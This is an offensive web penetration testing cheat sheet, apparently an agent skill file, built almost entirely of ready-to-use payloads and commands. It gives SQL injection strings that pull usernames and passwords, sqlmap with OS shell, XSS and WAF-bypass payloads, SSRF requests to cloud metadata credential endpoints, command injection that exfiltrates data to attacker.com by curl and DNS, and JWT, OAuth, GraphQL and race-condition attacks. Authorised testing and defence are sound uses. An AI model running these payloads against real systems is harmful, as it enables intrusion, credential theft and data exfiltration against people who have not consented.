Web Pentest

---
name: web-pentest
description: Full-spectrum web application penetration testing — OWASP Top 10, API security, authentication attacks, business logic, WAF bypass, race conditions
metadata:
  type: offensive
  phase: exploitation
  tools: burpsuite, sqlmap, ffuf, feroxbuster, nuclei, httpx, curl, wfuzz, dalfox, commix
---

# Web Application Penetration Testing

## When to Activate

- Web application security assessment
- API security testing (REST, GraphQL, gRPC)
- Authentication and session management testing
- Business logic vulnerability hunting
- WAF bypass and filter evasion

## SQL Injection

### Detection
```
# String context: '  ''  ' OR '1'='1  ' AND '1'='2
# Numeric context: 1 OR 1=1  1 AND 1=2
# Time-based: ' OR SLEEP(5)--  '; WAITFOR DELAY '0:0:5'--
# Error-based: ' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
```

### Exploitation
```bash
# UNION-based extraction
' ORDER BY 1-- (increment until error = column count)
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--

# Automated
sqlmap -u "http://target/page?id=1" --batch --dbs --level 3 --risk 2
sqlmap -r request.txt --batch --dbs --tamper=between,randomcase
sqlmap -u "URL" --os-shell --batch
```

### WAF Bypass
```
%27%20OR%20%271%27%3D%271                    # URL encoding
' uNiOn SeLeCt NULL,version(),NULL--         # Case alternation
UN/**/ION SE/**/LECT NULL,version(),NULL--   # Comment insertion
/*!50000UNION*/ /*!50000SELECT*/             # MySQL version comments
```

## XSS (Cross-Site Scripting)

### Context-Specific Payloads
```html
<!-- HTML body -->
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
<details open ontoggle=alert(1)>

<!-- Attribute context -->
" onfocus="alert(1)" autofocus="
"><script>alert(1)</script>

<!-- JavaScript context -->
";alert(1)//
'-alert(1)-'
${alert(document.domain)}

<!-- URL/href -->
javascript:alert(document.domain)
```

### Filter Bypass
```html
<ScRiPt>alert(1)</sCrIpT>                    # Case variation
<img src=x onerror=alert(1)>                  # Alt event handlers
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e; # HTML entities
eval('al'+'ert(1)')                           # String concat
window['alert'](1)                            # Bracket notation
alert`1`                                      # Template literal
```

## SSRF (Server-Side Request Forgery)

### Internal Access
```
http://127.0.0.1/  http://[::1]/  http://0x7f000001/  http://2130706433/
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/  # GCP
```

### Protocol Smuggling
```
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO               # Redis
dict://127.0.0.1:6379/INFO
```

### Bypass Techniques
```
http://127.0.0.1.nip.io/                     # DNS rebinding
http://attacker.com@127.0.0.1/              # URL parsing confusion
http://127.1/                                # Short form
```

## Command Injection

### Payloads
```bash
; id                    # Semicolon separator
| whoami                # Pipe
$(whoami)               # Subshell
`id`                    # Backticks
%0aid                   # Newline injection
```

### Blind Detection
```bash
; sleep 5               # Time-based
; curl http://attacker.com/$(id|base64)  # OOB exfiltration
; nslookup $(whoami).attacker.com        # DNS exfil
```

### Filter Bypass
```bash
$IFS                    # Space bypass
${IFS}                  # Space bypass
{cat,/etc/passwd}       # Brace expansion
w"h"o"a"mi             # Quote insertion
$'\x77\x68\x6f\x61\x6d\x69'  # Hex encoding
```

## Race Conditions

### Single-Packet Attack (HTTP/2)
```bash
# Send N identical requests simultaneously via HTTP/2 multiplexing
curl --parallel --parallel-max 50 \
  -X POST https://target/redeem-coupon \
  -d "code=DISCOUNT50" \
  --url "https://target/redeem-coupon" [repeat N times]
```

### Targets
- Coupon/promo code redemption (apply multiple times)
- Money transfers (double-spend)
- Vote/like manipulation
- Inventory purchase (oversell)
- Token validation (use before invalidation)

## Authentication Attacks

### JWT
```bash
# Algorithm confusion: change RS256 to HS256, sign with public key
# alg:none attack: remove signature, set alg to "none"
# Key brute force:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# JWT tool
python3 jwt_tool.py $JWT -X a  # alg:none
python3 jwt_tool.py $JWT -X k -pk public.pem  # key confusion
```

### OAuth
```
# Redirect URI manipulation
redirect_uri=https://attacker.com
redirect_uri=https://legit.com@attacker.com
redirect_uri=https://legit.com/.attacker.com

# CSRF on OAuth flow (missing state parameter)
# Token leakage via Referer header
```

## API Security

### GraphQL
```graphql
# Introspection
{__schema{types{name,fields{name,args{name}}}}}

# Batch queries (bypass rate limiting)
[{"query":"mutation{login(u:\"admin\",p:\"pass1\")}{token}}"},
 {"query":"mutation{login(u:\"admin\",p:\"pass2\")}{token}}"}]

# Nested queries (DoS)
{user{friends{friends{friends{friends{name}}}}}}
```

### Mass Assignment
```json
// Add admin field to registration
{"username":"attacker","password":"pass","role":"admin","isAdmin":true}
```

### IDOR
```
GET /api/users/1001  → change to /api/users/1002
GET /api/orders/abc  → enumerate other order IDs
# Test: horizontal (other users), vertical (admin resources)
```

## Business Logic Flaws

- Negative quantity in cart (refund to account)
- Price manipulation via client-side values
- Skip steps in multi-step process
- Coupon stacking beyond intended limits
- Currency rounding exploitation
- Race between check and action